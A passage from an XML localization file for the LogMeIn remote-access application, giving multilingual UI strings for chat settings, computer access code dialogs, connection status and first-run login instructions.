<en-gb>Local username</en-gb>
<hu>Helyi felhasználónév</hu>
<pt-br>Nome do usuário local</pt-br>
<nl>Lokale gebruikersnaam</nl>
</msg>
<msg name="CHATCFG.REMOTENAME">
<en>Remote user name</en>
<de>Benutzername der Gegenstelle</de>
<es>Nombre de usuario remoto</es>
<fr>Nom de l'utilisateur distant</fr>
<it>Nome utente remoto</it>
<ru>Имя удаленного пользователя</ru>
<ja>リモート ユーザ名</ja>
<zh>远程用户名</zh>
<ko>원격 사용자 이름</ko>
<en-gb>Remote username</en-gb>
<hu>Távoli felhasználónév</hu>
<pt-br>Nome do usuário remoto</pt-br>
<nl>Externe gebruikersnaam</nl>
</msg>
<msg name="CHATCFG.LOCALMSG">
<en>Local messages</en>
<de>Lokale Nachrichten</de>
<es>Mensajes locales</es>
<fr>Messages locaux</fr>
<it>Messaggi locali</it>
<ru>Локальные сообщения</ru>
<ja>ローカル メッセージ</ja>
<zh>本地信息</zh>
<ko>로컬 메시지</ko>
<en-gb>Local messages</en-gb>
<hu>Helyi üzenetek</hu>
<pt-br>Mensagens locais</pt-br>
<nl>Lokale berichten</nl>
</msg>
<msg name="CHATCFG.REMOTEMSG">
<en>Remote messages</en>
<de>Remote Meldungen</de>
<es>Mensajes remotos</es>
<fr>Messages distants</fr>
<it>Messaggi remoti</it>
<ru>Удаленные сообщения</ru>
<ja>リモート メッセージ</ja>
<zh>远程信息</zh>
<ko>원격 메시지</ko>
<en-gb>Remote messages</en-gb>
<hu>Távoli üzenetek</hu>
<pt-br>Mensagens remotas</pt-br>
<nl>Externe berichten</nl>
</msg>
<!-- displayed if the system can't find out the name of the local user -->
<msg name="CHAT.YOU">
<en>You</en>
<de>Sie</de>
<es>Usted</es>
<fr>Vous</fr>
<it>Tu</it>
<ru>Вы</ru>
<ja>あなた</ja>
<zh>您</zh>
<ko>사용자</ko>
<en-gb>You</en-gb>
<hu>Ön</hu>
<pt-br>Você</pt-br>
<nl>U</nl>
</msg>
<msg name="CPWD.TITLE">
<en>Computer Access Code</en>
<de>Computer-Zugriffscode</de>
<es>Código de acceso a ordenador</es>
<fr>Code d'accès à l'ordinateur</fr>
<it>Codice di accesso al computer</it>
<ru>Код доступа к компьютеру</ru>
<ja>コンピュータ アクセス コード</ja>
<zh>计算机访问代码</zh>
<ko>컴퓨터 액세스 코드</ko>
<en-gb>Computer Access Code</en-gb>
<hu>Számítógépes hozzáférési kód</hu>
<pt-br>Código de acesso do computador</pt-br>
<nl>Toegangscode voor computer</nl>
</msg>
<msg name="CPWD.TEXT">
<en>To change the %PRODUCTNAME computer access code for this computer please type then re-type the new password below then click the OK button.</en>
<es>Para cambiar el código de acceso al ordenador de %PRODUCTNAME para este equipo, escriba y vuelva a escribir la contraseña nueva abajo y haga clic en el botón Aceptar.</es>
<fr>Pour changer le code d'accès à %PRODUCTNAME  de cet ordinateur, veuillez saisir ci-dessous puis resaisir le nouveau mot de passe et cliquer sur le bouton OK.</fr>
<de>Um den %PRODUCTNAME-Zugriffscode für diesen Computer zu ändern, geben Sie unten das neue Kennwort zweimal ein, und klicken Sie anschließend auf OK.</de>
<it>Per cambiare il codice di accesso al presente computer %PRODUCTNAME, digitare una nuova password, quindi digitarla di nuovo e fare clic su OK.</it>
<ru>Чтобы изменить код доступа к данному компьютеру %PRODUCTNAME, введите и еще раз введите внизу новый пароль, а затем нажмите кнопку OK.</ru>
<ja>このコンピュータに対する %PRODUCTNAME コンピュータ アクセス コードを変更するには、以下に新しいパスワードを入力、再入力し、[OK] ボタンをクリックしてください。</ja>
<zh>要更改此计算机的 %PRODUCTNAME 计算机访问代码,请在下面键入并再次键入新密码,然后单击“确定”按钮。</zh>
<ko>이 컴퓨터의 %PRODUCTNAME 컴퓨터 액세스 코드를 변경하려면 아래에 새 암호를 입력한 후 다시 입력하고 "확인" 버튼을 클릭하십시오.</ko>
<en-gb>To change the %PRODUCTNAME computer access code for this computer please type then re-type the new password below and then click the OK button.</en-gb>
<hu>A %PRODUCTNAME számítógépes hozzáférési kódjának megváltoztatásához ezen a számítógépen, kérem írja be majd ismételten írja be az új jelszót, majd kattintson az OK gombra.</hu>
<pt-br>Para alterar o código de acesso do computador do %PRODUCTNAME deste computador, digite e repita a nova senha a seguir e clique no botão OK.</pt-br>
<nl>Als u de computertoegangscode voor %PRODUCTNAME voor deze computer wilt wijzigen, voert u hieronder het nieuwe wachtwoord in, bevestigt u het en klikt u vervolgens op de knop OK.</nl>
</msg>
<msg name="CPWD.PWD">
<en>New access code:</en>
<es>Nuevo código de acceso:</es>
<fr>Nouveau code d'accès:</fr>
<de>Neuer Zugriffscode:</de>
<it>Nuovo codice di accesso:</it>
<ru>Новый код доступа:</ru>
<ja>新しいアクセス コード :</ja>
<zh>新访问代码:</zh>
<ko>새 액세스 코드:</ko>
<en-gb>New access code:</en-gb>
<hu>Új hozzáférési kód:</hu>
<pt-br>Novo código de acesso:</pt-br>
<nl>Nieuwe toegangscode:</nl>
</msg>
<msg name="CPWD.PWDV">
<en>Confirm new access code:</en>
<es>Verificar código de acceso nuevo:</es>
<fr>Vérifier nouveau code d'accès:</fr>
<de>Neuen Zugriffscode überprüfen:</de>
<it>Verifica nuovo codice di accesso:</it>
<ru>Проверить новый код доступа:</ru>
<ja>新しいアクセス コードの確認 :</ja>
<zh>验证新访问代码:</zh>
<ko>새 액세스 코드 확인:</ko>
<en-gb>Confirm new access code:</en-gb>
<hu>Hozzáférési kód újra:</hu>
<pt-br>Verificar novo código de acesso:</pt-br>
<nl>Nieuwe toegangscode bevestigen:</nl>
</msg>
<msg name="CPWD.NOPWD">
<en>Please enter an access code.</en>
<es>Introduzca un código de acceso.</es>
<fr>Veuillez saisir un code d'accès.</fr>
<de>Geben Sie einen Zugriffscode ein.</de>
<it>Immettere un codice di accesso.</it>
<ru>Введите код доступа:</ru>
<ja>アクセス コードを入力してください。</ja>
<zh>请输入访问代码。</zh>
<ko>액세스 코드를 입력하십시오.</ko>
<en-gb>Please enter an access code.</en-gb>
<hu>Kérem, írjon be egy hozzáférési kódot.</hu>
<pt-br>Digite um código de acesso.</pt-br>
<nl>Voer een toegangscode in.</nl>
</msg>
<msg name="CPWD.NOMATCH">
<en>The codes you typed do not match. Please retype the new access code in both boxes.</en>
<es>Los códigos que introdujo no coinciden. Escriba otra vez el código de acceso nuevo en ambos cuadros.</es>
<fr>Les codes que vous avez saisis ne sont pas identiques. Veuillez resaisir le nouveau code d'accès dans des les deux champs.</fr>
<de>Die eingegebenen Codes stimmen nicht überein. Geben Sie den neuen Zugriffscode in beide Felder ein.</de>
<it>I codici digitati non corrispondono. Digitare nuovamente il nuovo codice di accesso in entrambi i campi.</it>
<ru>Введенные коды не совпадают. Заново введите новый код доступа в обоих полях.</ru>
<ja>入力したコードは一致していません。両方のボックスに新しいアクセス コードを再入力してください。</ja>
<zh>您键入的代码不匹配。请在两个框中再次键入新访问代码。</zh>
<ko>입력한 코드가 일치하지 않습니다. 두 개의 상자에 모두 새 액세스 코드를 다시 입력하십시오.</ko>
<en-gb>The codes you typed do not match. Please retype the new access code in both boxes.</en-gb>
<hu>A beírt kódok nem egyeznek. Kérem, írja be ismét az új hozzáférési kódot mindkét mezőbe.</hu>
<pt-br>Os códigos que você digitou não correspondem. Redigite o novo código de acesso em ambas as caixas.</pt-br>
<nl>De door u opgegeven toegangscodes komen niet overeen. Voer de nieuwe toegangscode in de beide tekstvakken in.</nl>
</msg>
<msg name="CPWD.ERROR">
<en>An error has occurred while changing the computer access code:\r\n\r\n</en>
<es>Se ha producido un error al cambiar el código de acceso al ordenador:\r\n\r\n</es>
<fr>Une erreur s'est produite lors du changement du code d'accès de l'ordinateur :\r\n\r\n</fr>
<de>Beim Ändern des Computerzugriffscodes ist ein Fehler aufgetreten:\r\n\r\n</de>
<it>Si è verificato un errore durante la modifica del codice di accesso al computer:\r\n\r\n</it>
<ru>Ошибка при изменении кода доступа к компьютеру:\r\n\r\n</ru>
<ja>コンピュータ アクセス コードの変更中にエラーが発生しました :\r\n\r\n</ja>
<zh>更改计算机访问代码时发生错误:\r\n\r\n</zh>
<ko>컴퓨터 액세스 코드를 변경하는 동안 오류가 발생했습니다:\r\n\r\n</ko>
<en-gb>An error has occurred while changing the computer access code:\r\n\r\n</en-gb>
<hu>Hiba történt a számítógép hozzáférési kódjának módosítása során:\r\n\r\n</hu>
<pt-br>Ocorreu um erro ao alterar o código de acesso do computador::\r\n\r\n</pt-br>
<nl>Er is een fout opgetreden tijdens het wijzigen van de computertoegangscode:\r\n\r\n</nl>
</msg>
<msg name="CPWD.SUCCESS">
<en>The computer access code has been successfully changed.</en>
<es>El código de acceso al ordenador se ha cambiado correctamente.</es>
<fr>Le code d'accès à cet ordinateur a été changé avec succès.</fr>
<de>Der Computerzugriffscode wurde erfolgreich geändert.</de>
<it>Il codice di accesso al computer è stato modificato.</it>
<ru>Код доступа к компьютеру успешно изменен.</ru>
<ja>コンピュータ アクセス コードの変更に成功しました。</ja>
<zh>已成功更改计算机访问代码。</zh>
<ko>컴퓨터 액세스 코드가 변경되었습니다.</ko>
<en-gb>The computer access code has been successfully changed.</en-gb>
<hu>A számítógép hozzáférési kódja sikeresen módosult.</hu>
<pt-br>O código de acesso do computador foi alterado com êxito.</pt-br>
<nl>De computertoegangscode is gewijzigd.</nl>
</msg>
<msg name="CPWD.PWDSINGLE">
<en>LogMeIn uses your standard Windows login credentials to identify you when accessing this computer remotely.\n\nTo change your Windows password on this computer, press CTRL+ALT+DELETE and then click the "Change Password..." button.</en>
<de>LogMeIn verwendet beim Fernzugriff auf diesen Computer die normalen Windows-Anmeldeinformationen für die Identifizierung.\n\nDrücken Sie STRG+ALT+ENTF, um das Windows-Kennwort für diesen Computer zu ändern, und klicken Sie dann auf die Schaltfläche "Kennwort ändern...".</de>
<es>LogMeIn utiliza sus credenciales de inicio de sesión estándares de Windows para identificarle cuando acceda a este ordenador de forma remota.\n\nPara cambiar su contraseña de Windows en este ordenador, pulse CTRL+ALT+SUPR y después haga clic en el botón "Cambiar contraseña..."</es>
<fr>LogMeIn utilise les données d'identification standard de Windows pour vous identifier lorsque vous accédez à cet ordinateur à distance.\n\nPour modifier votre mot de passe Windows sur cet ordinateur, appuyez sur CTRL+ALT+SUPPR, puis cliquez sur le bouton " Modifier le mot de passe... ".</fr>
<it>LogMeIn utilizza le credenziali di accesso standard di Windows per verificare l'identità dell'utente quando si effettua l'accesso remoto al computer.\n\nPer cambiare la password di Windows sul computer, premere CTRL+ALT+CANC e quindi fare clic sul pulsante "Cambia password...".</it>
<ru>LogMeIn использует стандартные учетные данные Windows для идентификации пользователя при получении доступа к удаленному компьютеру.\n\nЧтобы изменить пароль Windows на данном компьютере, нажмите CTRL+ALT+DELETE, а затем нажмите кнопку Изменить пароль.</ru>
<ja>LogMeIn では、標準の Windows ログイン資格情報を使用して、コンピュータにリモート アクセスするユーザを識別します。\n\nこのコンピュータの Windows パスワードを変更するには、CTRL+ALT+DELETE を押して、[パスワードの変更...] ボタンをクリックします。</ja>
<zh>当您远程访问此计算机时,LogMeIn 使用标准的 Windows 登录凭据来识别您的身份。\n\n要更改此计算机上的 Windows 密码,按 CTRL+ALT+DELETE,然后单击“更改密码...”按钮。</zh>
<ko>컴퓨터에 원격으로 액세스할 때 LogMeIn은 표준 Windows 로그인 자격 증명을 사용하여 사용자를 식별합니다.\n\n컴퓨터에서 Windows 암호를 변경하려면 CTRL+ALT+DELETE를 누른 다음 "암호 변경..." 버튼을 클릭하십시오.</ko>
<hu>A LogMeIn a szabványos Windows bejelentkezési adatok segítségével azonosítja Önt, ha ezt a számítógépet távolról éri el.\n\nA Windows jelszó módosításához ezen a számítógépen nyomja le a CTRL+ALT+DELETE billentyűkombinációt, majd kattintson a "Jelszó megváltoztatása..." gombra</hu>
<pt-br>O LogMeIn usa as credenciais de login padrão do Windows para identificar você ao acessar este computador remotamente.\n\nPara alterar sua senha do Windows neste computador, pressione CTRL+ALT+DELETE e, em seguida, clique no botão "Alterar senha...".</pt-br>
<nl>LogMeIn maakt gebruik van uw standaard Windows-aanmeldingsgegevens om u te identificeren wanneer u op afstand toegang wilt krijgen tot deze computer.\n\nAls u uw Windows-wachtwoord op deze computer wilt wijzigen, drukt u op CTRL+ALT+DELETE en klikt u vervolgens op de knop "Wachtwoord wijzigen...".</nl>
</msg>
<!-- status messages -->
<msg name="MSG.CONNECTING">
<en>GUI: Connecting to %PRODUCTNAME...</en>
<de>GUI: Verbindung zu %PRODUCTNAME wird hergestellt ...</de>
<es>GUI: Conectando a %PRODUCTNAME...</es>
<fr>GUI: Connecté à %PRODUCTNAME...</fr>
<it>GUI: connessione a %PRODUCTNAME...</it>
<ru>Графический интерфейс пользователя: подключение к %PRODUCTNAME...</ru>
<ja>GUI :%PRODUCTNAME に接続しています...</ja>
<zh>GUI:正连接至 %PRODUCTNAME...</zh>
<ko>GUI: %PRODUCTNAME에 연결 중...</ko>
<en-gb>GUI: Connecting to %PRODUCTNAME...</en-gb>
<hu>GUI (grafikus felhasználói felület): Csatlakozás ehhez: %PRODUCTNAME</hu>
<pt-br>GUI: Conectando ao %PRODUCTNAME...</pt-br>
<nl>GUI: Bezig met verbinding maken met %PRODUCTNAME...</nl>
</msg>
<msg name="MSG.CONNECTED">
<en>GUI: ...connected.</en>
<de>GUI: ...verbunden.</de>
<es>GUI: ...conectado.</es>
<fr>GUI: ...connecté.</fr>
<it>GUI: ...connesso.</it>
<ru>Графический интерфейс пользователя: ...подключен.</ru>
<ja>GUI :...接続されました。</ja>
<zh>GUI:...已连接。</zh>
<ko>GUI: ...연결되었습니다.</ko>
<en-gb>GUI: ...connected.</en-gb>
<hu>GUI (grafikus felhasználói felület): ...csatlakoztatva.</hu>
<pt-br>GUI: ...conectado.</pt-br>
<nl>GUI: ...verbonden.</nl>
</msg>
<msg name="MSG.NOTAVAIL">
<en>GUI: ...not available.</en>
<de>GUI: ...nicht verfügbar.</de>
<es>GUI: ...no disponible.</es>
<fr>GUI: ...inaccessible.</fr>
<it>GUI: ...non disponibile.</it>
<ru>Графический интерфейс пользователя: ...недоступен.</ru>
<ja>GUI :...有効ではありません。</ja>
<zh>GUI:...不可用。</zh>
<ko>GUI: ...사용할 수 없습니다.</ko>
<en-gb>GUI: ...not available.</en-gb>
<hu>GUI (grafikus felhasználói felület): ...nem elérhető.</hu>
<pt-br>GUI: ... não disponível.</pt-br>
<nl>GUI: ...niet beschikbaar.</nl>
</msg>
<msg name="MSG.DISCONNECTED">
<en>GUI: Disconnected from %PRODUCTNAME.</en>
<de>GUI: Verbindung zu %PRODUCTNAME wurde getrennt.</de>
<es>GUI: Desconectado de %PRODUCTNAME.</es>
<fr>GUI: Déconnecté par %PRODUCTNAME.</fr>
<it>GUI: disconnesso da %PRODUCTNAME.</it>
<ru>Графический интерфейс пользователя: отключен от %PRODUCTNAME.</ru>
<ja>GUI :%PRODUCTNAME から切断されました。</ja>
<zh>GUI:已从 %PRODUCTNAME 断开连接。</zh>
<ko>GUI: %PRODUCTNAME와(과)의 연결이 끊어졌습니다.</ko>
<en-gb>GUI: Disconnected from %PRODUCTNAME.</en-gb>
<hu>GUI (grafikus felhasználói felület): Lecsatlakoztatva innen: %PRODUCTNAME</hu>
<pt-br>GUI: Desconectado do %PRODUCTNAME.</pt-br>
<nl>GUI: Verbinding verbroken van %PRODUCTNAME.</nl>
</msg>
<msg name="MSG.RADISABLED">
<en>GUI: %PRODUCTNAME has been disabled.</en>
<de>GUI: %PRODUCTNAME wurde deaktiviert.</de>
<es>GUI: %PRODUCTNAME se ha deshabilitado.</es>
<fr>GUI: %PRODUCTNAME a été désactivé.</fr>
<it>GUI: %PRODUCTNAME è stato disattivato.</it>
<ru>Графический интерфейс пользователя: %PRODUCTNAME отключено.</ru>
<ja>GUI :%PRODUCTNAME は無効になりました。</ja>
<zh>GUI:已禁用 %PRODUCTNAME。</zh>
<ko>GUI: %PRODUCTNAME을(를) 사용하지 않도록 설정했습니다.</ko>
<en-gb>GUI: %PRODUCTNAME has been disabled.</en-gb>
<hu>GUI (grafikus felhasználói felület): A %PRODUCTNAME programot kikapcsolták.</hu>
<pt-br>GUI: O %PRODUCTNAME foi desabilitado.</pt-br>
<nl>GUI: %PRODUCTNAME is uitgeschakeld.</nl>
</msg>
<msg name="MSG.RAENABLED">
<en>GUI: %PRODUCTNAME has been enabled.</en>
<de>GUI: %PRODUCTNAME wurde aktiviert.</de>
<es>GUI: %PRODUCTNAME se ha habilitado.</es>
<fr>GUI: %PRODUCTNAME a été activé.</fr>
<it>GUI: %PRODUCTNAME è stato attivato.</it>
<ru>Графический интерфейс пользователя: %PRODUCTNAME включено.</ru>
<ja>GUI :%PRODUCTNAME は有効になっています。</ja>
<zh>GUI:已启用 %PRODUCTNAME。</zh>
<ko>GUI: %PRODUCTNAME을(를) 사용하도록 설정했습니다.</ko>
<en-gb>GUI: %PRODUCTNAME has been enabled.</en-gb>
<hu>GUI (grafikus felhasználói felület): A %PRODUCTNAME programot bekapcsolták.</hu>
<pt-br>GUI: O %PRODUCTNAME foi habilitado.</pt-br>
<nl>GUI: %PRODUCTNAME is ingeschakeld.</nl>
</msg>
<msg name="ENABLED.ONLINE">
<en>Enabled and Online</en>
<de>Aktiv und angemeldet</de>
<es>Habilitado y en línea</es>
<fr>Activé et En ligne</fr>
<it>Attivato e in linea</it>
<ru>Включен и доступен</ru>
<ja>有効およびオンライン</ja>
<zh>已启用并联机</zh>
<ko>사용 중이며 온라인 상태임</ko>
<en-gb>Enabled and Online</en-gb>
<hu>Bekapcsolva és online</hu>
<pt-br>Habilitado e online</pt-br>
<nl>Ingeschakeld en online</nl>
</msg>
<msg name="DISABLED">
<en>Disabled</en>
<de>Deaktiviert</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="ENABLED.OFFLINE">
<en>Enabled but Offline</en>
<de>Aktiv aber offline</de>
<es>Habilitado pero sin conexión</es>
<fr>Activé mais Hors ligne</fr>
<it>Attivato ma fuori linea</it>
<ru>Включен, но недоступен</ru>
<ja>有効、ただしオフライン</ja>
<zh>已启用但脱机</zh>
<ko>사용 중이지만 오프라인 상태임</ko>
<en-gb>Enabled but Offline</en-gb>
<hu>Bekapcsolva, de kapcsolat nélkül</hu>
<pt-br>Habilitado mas offline</pt-br>
<nl>Ingeschakeld maar offline</nl>
</msg>
<msg name="IN.SESSION">
<en>Session in progress</en>
<es>Sesión en curso</es>
<de>Sitzung läuft</de>
<fr>Session en cours</fr>
<it>Sessione in corso</it>
<ru>Выполняется сеанс</ru>
<ja>進行中のセッション</ja>
<zh>会话进行中</zh>
<ko>세션 진행 중</ko>
<en-gb>Session in progress</en-gb>
<hu>Munkamenet folyamatban</hu>
<pt-br>Sessão em andamento</pt-br>
<nl>Sessie wordt uitgevoerd</nl>
</msg>
<msg name="FIRSTMSG.LINE1">
<en>This computer is now accessible via LogMeIn.com.</en>
<es>Ahora se puede acceder a este ordenador mediante LogMeIn.com.</es>
<de>Sie können nun über LogMeIn.com auf diesen Computer zugreifen.</de>
<fr>Cet ordinateur est désormais accessible par LogMeIn.com.</fr>
<it>Questo computer è ora accessibile tramite LogMeIn.com.</it>
<ru>Этот компьютер теперь доступен через LogMeIn.com.</ru>
<ja>このコンピュータは LogMeIn.com 経由でアクセス可能になりました。</ja>
<zh>此计算机现在可通过 LogMeIn.com 访问。</zh>
<ko>LogMeIn.com을 통해 이 컴퓨터에 액세스할 수 있습니다.</ko>
<en-gb>This computer is now accessible via LogMeIn.com.</en-gb>
<hu>Ez a számítógép most már elérhető a LogMeIn.com-on keresztül.</hu>
<pt-br>Este computador agora está acessível via LogMeIn.com.</pt-br>
<nl>Toegang tot deze computer is nu mogelijk via LogMeIn.com.</nl>
</msg>
<msg name="FIRSTMSG.WINAUTH.LINE2">
<en>You will be prompted for your Windows user name and password when connecting to this computer.</en>
<es>Cuando se conecte a este ordenador se le pedirá su nombre de usuario y contraseña de Windows.</es>
<fr>Votre nom et votre mot de passe utilisateur Windows vous seront demandés, lors de la connexion à cet ordinateur.</fr>
<de>Sie müssen den Benutzernamen und Kennwort für Windows eingeben, wenn Sie eine Verbindung zu diesem Computer herstellen.</de>
<it>Durante il collegamento a questo computer verrà richiesto di immettere il nome utente e la password di Windows.</it>
<ru>При подключении к данному компьютеру запрашивается имя пользователя Windows и пароль.</ru>
<ja>このコンピュータへの接続時に、Windows ユーザ名およびパスワードの入力が求められます。</ja>
<zh>连接至此计算机时,系统将提示您输入 Windows 用户名和密码。</zh>
<ko>이 컴퓨터에 연결할 때 Windows 사용자 이름과 암호를 입력하라는 메시지가 나타납니다.</ko>
<en-gb>You will be prompted for your Windows username and password when connecting to this computer.</en-gb>
<hu>Amikor ehhez a számítógéphez kapcsolódik, felszólítást fog kapni a Windows felhasználói név és jelszó beírására.</hu>
<pt-br>Você será solicitado a fornecer o número de usuário do Windows e a senha ao conectar-se a este computador.</pt-br>
<nl>U wordt gevraagd uw Windows-gebruikersnaam en -wachtwoord in te voeren wanneer u een verbinding maakt met deze computer.</nl>
</msg>
<msg os="macosx" name="FIRSTMSG.WINAUTH.LINE2">
<en>You will be prompted for your Mac user name and password when connecting to this computer.</en>
<es>Cuando se conecte a este ordenador se le pedirá su nombre de usuario y contraseña de Mac.</es>
<fr>Votre nom et votre mot de passe utilisateur Mac vous seront demandés, lors de la connexion à cet ordinateur.</fr>
<de>Sie müssen den Benutzernamen und Kennwort für Mac eingeben, wenn Sie eine Verbindung zu diesem Computer herstellen.</de>
<it>Durante il collegamento a questo computer verrà richiesto di immettere il nome utente e la password di Mac.</it>
<ru>При подключении к данному компьютеру запрашивается имя пользователя Mac и пароль.</ru>
<ja>このコンピュータへの接続時に、Windows ユーザ名およびパスワードの入力が求められます。</ja>
<zh>连接至此计算机时,系统将提示您输入 Mac 用户名和密码。</zh>
<ko>이 컴퓨터에 연결할 때 Mac 사용자 이름과 암호를 입력하라는 메시지가 나타납니다.</ko>
<en-gb>You will be prompted for your Mac username and password when connecting to this computer.</en-gb>
<hu>Amikor ehhez a számítógéphez kapcsolódik, felszólítást fog kapni a Mac felhasználói név és jelszó beírására.</hu>
<pt-br>Você será solicitado a fornecer o número de usuário do Mac e a senha ao conectar-se a este computador.</pt-br>
<nl>U wordt gevraagd uw Mac-gebruikersnaam en -wachtwoord in te voeren wanneer u een verbinding maakt met deze computer.</nl>
</msg>
<msg name="FIRSTMSG.WINAUTH.LINE3">
<en>On the login screen, enter the user name you normally use to log on to Windows and the password associated with it.</en>
<es>En la pantalla de inicio de sesión, introduzca el nombre de usuario que utiliza normalmente para iniciar sesión en Windows y la contraseña asociada.</es>
<fr>Sur l'écran d'ouverture de session, veuillez entrer votre nom et mot de passe que vous utilisez habituellement pour ouvrir une session sous Windows.</fr>
<de>Geben Sie im Anmeldefenster den Benutzernamen und das Kennwort für die Anmeldung bei Windows ein.</de>
<it>Nella schermata di accesso immettere il nome utente che generalmente si utilizza per accedere a Windows e la password associata a questo nome.</it>
<ru>На экране входа введите имя пользователя, которое обычно используете, чтобы войти в Windows, и соответствующий пароль.</ru>
<ja>ログイン画面で、Windows のログインに通常使用しているユーザ名および関連するパスワードを入力します。</ja>
<zh>在登录屏幕上,输入您通常登录 Windows 所使用的用户名和与该用户名相关的密码。</zh>
<ko>로그인 화면에서 일반적으로 Windows에 로그온하기 위해 사용하는 사용자 이름 및 암호를 입력합니다.</ko>
<en-gb>On the login screen, enter the username you normally use to log on to Windows and the password associated with it.</en-gb>
<hu>A bejelentkezési képernyőn adja meg azt a felhasználói nevet és jelszót, amelyet szokásos esetben használ a Windowsba való bejelentkezéskor.</hu>
<pt-br>Na tela de login, digite o nome de usuário normalmente usado para conectar-se ao Windows e a senha a ele associada.</pt-br>
<nl>In het aanmeldingsvenster voert u de gebruikersnaam in die u doorgaans opgeeft wanneer u zich bij Windows aanmeldt alsook het wachtwoord dat hieraan is gekoppeld.</nl>
</msg>
<msg os="macosx" name="FIRSTMSG.WINAUTH.LINE3">
<en>On the login screen, enter the user name you normally use to log on to Mac and the password associated with it.</en>
<es>En la pantalla de inicio de sesión, introduzca el nombre de usuario que utiliza normalmente para iniciar sesión en Mac y la contraseña asociada.</es>
<fr>Sur l'écran d'ouverture de session, veuillez entrer votre nom et mot de passe que vous utilisez habituellement pour ouvrir une session sous Mac.</fr>
<de>Geben Sie im Anmeldefenster den Benutzernamen und das Kennwort für die Anmeldung bei Mac ein.</de>
<it>Nella schermata di accesso immettere il nome utente che generalmente si utilizza per accedere a Mac e la password associata a questo nome.</it>
<ru>На экране входа введите имя пользователя, которое обычно используете, чтобы войти в Mac, и соответствующий пароль.</ru>
<ja>ログイン画面で、Windows のログインに通常使用しているユーザ名および関連するパスワードを入力します。</ja>
<zh>在登录屏幕上,输入您通常登录 Mac 所使用的用户名和与该用户名相关的密码。</zh>
<ko>로그인 화면에서 일반적으로 Windows에 로그온하기 위해 사용하는 사용자 이름 및 암호를 입력합니다.</ko>
<en-gb>On the login screen, enter the username you normally use to log on to Mac and the password associated with it.</en-gb>
<hu>A bejelentkezési képernyőn adja meg azt a felhasználói nevet és jelszót, amelyet szokásos esetben használ a Windowsba való bejelentkezéskor.</hu>
<pt-br>Na tela de login, digite o nome de usuário normalmente usado para conectar-se ao Mac e a senha a ele associada.</pt-br>
<nl>In het aanmeldingsvenster voert u de gebruikersnaam in die u doorgaans opgeeft wanneer u zich bij Mac aanmeldt alsook het wachtwoord dat hieraan is gekoppeld.</nl>
</msg>
<msg name="FIRSTMSG.SINGLEUSER.LINE2">
<en>You will be prompted to enter a Computer Access Code when connecting to this computer.</en>
<es>Al conectar con este ordenador se le pedirá que introduzca un código de acceso a ordenador.</es>
<fr>Un code d'accès à l'ordinateur vous sera demandé lors de la connexion à cet ordinateur.</fr>
<de>Sie müssen den Computerzugriffscode eingeben, wenn Sie eine Verbindung zu diesem Computer herstellen.</de>
<it>Durante il collegamento a questo computer verrà richiesto di immettere un codice di accesso al computer.</it>
<ru>При подключении к данному компьютеру запрашивается код доступа к компьютеру.</ru>
<ja>このコンピュータへの接続時に、コンピュータ アクセス コードの入力が求められます。</ja>
<zh>连接至此计算机时,系统将提示您输入计算机访问代码。</zh>
<ko>이 컴퓨터에 연결할 때 컴퓨터 액세스 코드를 입력하라는 메시지가 나타납니다.</ko>
<en-gb>You will be prompted to enter a Computer Access Code when connecting to this computer.</en-gb>
<hu>Amikor ehhez a számítógéphez kapcsolódik, felszólítást fog kapni a számítógép elérési kódjának beírására.</hu>
<pt-br>Você será solicitado a digitar um Código de acesso do computador ao conectar-se a este computador.</pt-br>
<nl>U wordt gevraagd een computertoegangscode in te voeren wanneer u een verbinding maakt met deze computer.</nl>
</msg>
<msg name="FIRSTMSG.SINGLEUSER.LINE3">
<en>On this screen, enter the access code you created when you installed LogMeIn.</en>
<es>En esta pantalla, introduzca el código que acceso que creó cuando instaló LogMeIn.</es>
<fr>Sur cet écran, saisissez le code d'accès que vous avez créé lors de l'installation de LogMeIn.</fr>
<de>Geben Sie in diesem Fenster den Zugriffscode ein, den Sie bei der Installation von LogMeIn angegeben haben.</de>
<it>In questa schermata immettere il codice di accesso creato durante l'installazione di LogMeIn.</it>
<ru>На этом экране введите код доступа, созданный при установке LogMeIn.</ru>
<ja>この画面で、LogMeIn をインストールしたときに作成したアクセス コードを入力します。</ja>
<zh>在此屏幕上,输入您安装 LogMeIn 时创建的访问代码。</zh>
<ko>이 화면에서 LogMeIn을 설치할 때 만든 액세스 코드를 입력합니다.</ko>
<en-gb>On this screen, enter the access code you created when you installed LogMeIn.</en-gb>
<hu>Ezen a képernyőn adja meg azt az elérési kódot, amelyet a LogMeIn telepítésekor hozott létre.</hu>
<pt-br>Nesta tela, digite o código de acesso criado quando você instalou o LogMeIn.</pt-br>
<nl>In dit venster voert u de toegangscode in die u hebt gemaakt op het moment dat u LogMeIn hebt geïnstalleerd.</nl>
</msg>
<!-- performance window tooltip -->
<msg name="PERFTIP.CURRENT">
<en>Current</en>
<de>Aktuell</de>
<es>Actual</es>
<fr>Courant</fr>
<it>Corrente</it>
<ru>Текущий</ru>
<ja>現在</ja>
<zh>当前</zh>
<ko>현재</ko>
<en-gb>Current</en-gb>
<hu>Jelenlegi</hu>
<pt-br>Atual</pt-br>
<nl>Huidig</nl>
</msg>
<msg name="PERFTIP.AVERAGE">
<en>Average</en>
<de>Durchschnitt</de>
<es>Media</es>
<fr>Moyenne</fr>
<it>Media</it>
<ru>Средний</ru>
<ja>平均</ja>
<zh>平均</zh>
<ko>평균</ko>
<en-gb>Average</en-gb>
<hu>Átlag</hu>
<pt-br>Médio</pt-br>
<nl>Gemiddeld</nl>
</msg>
<!-- performance icons tooltip -->
<msg name="PERFTIP.CPU">
<en>CPU Load</en>
<de>CPU Last</de>
<es>Carga CPU</es>
<fr>Charge du CPU</fr>
<it>Carico della CPU</it>
<ru>Загрузка ЦП</ru>
<ja>CPU 負荷</ja>
<zh>CPU 负载</zh>
<ko>CPU 로드</ko>
<en-gb>CPU Load</en-gb>
<hu>Processzor terhelése</hu>
<pt-br>Carga da CPU</pt-br>
<nl>CPU-gebruik</nl>
</msg>
<msg name="PERFTIP.MEM">
<en>Memory in Use</en>
<de>Genutzter Speicher</de>
<es>Memoria en uso</es>
<fr>Utilisation de la mémoire</fr>
<it>Memoria in uso</it>
<ru>Объем выделенной памяти</ru>
<ja>使用中のメモリ</ja>
<zh>正在使用的内存</zh>
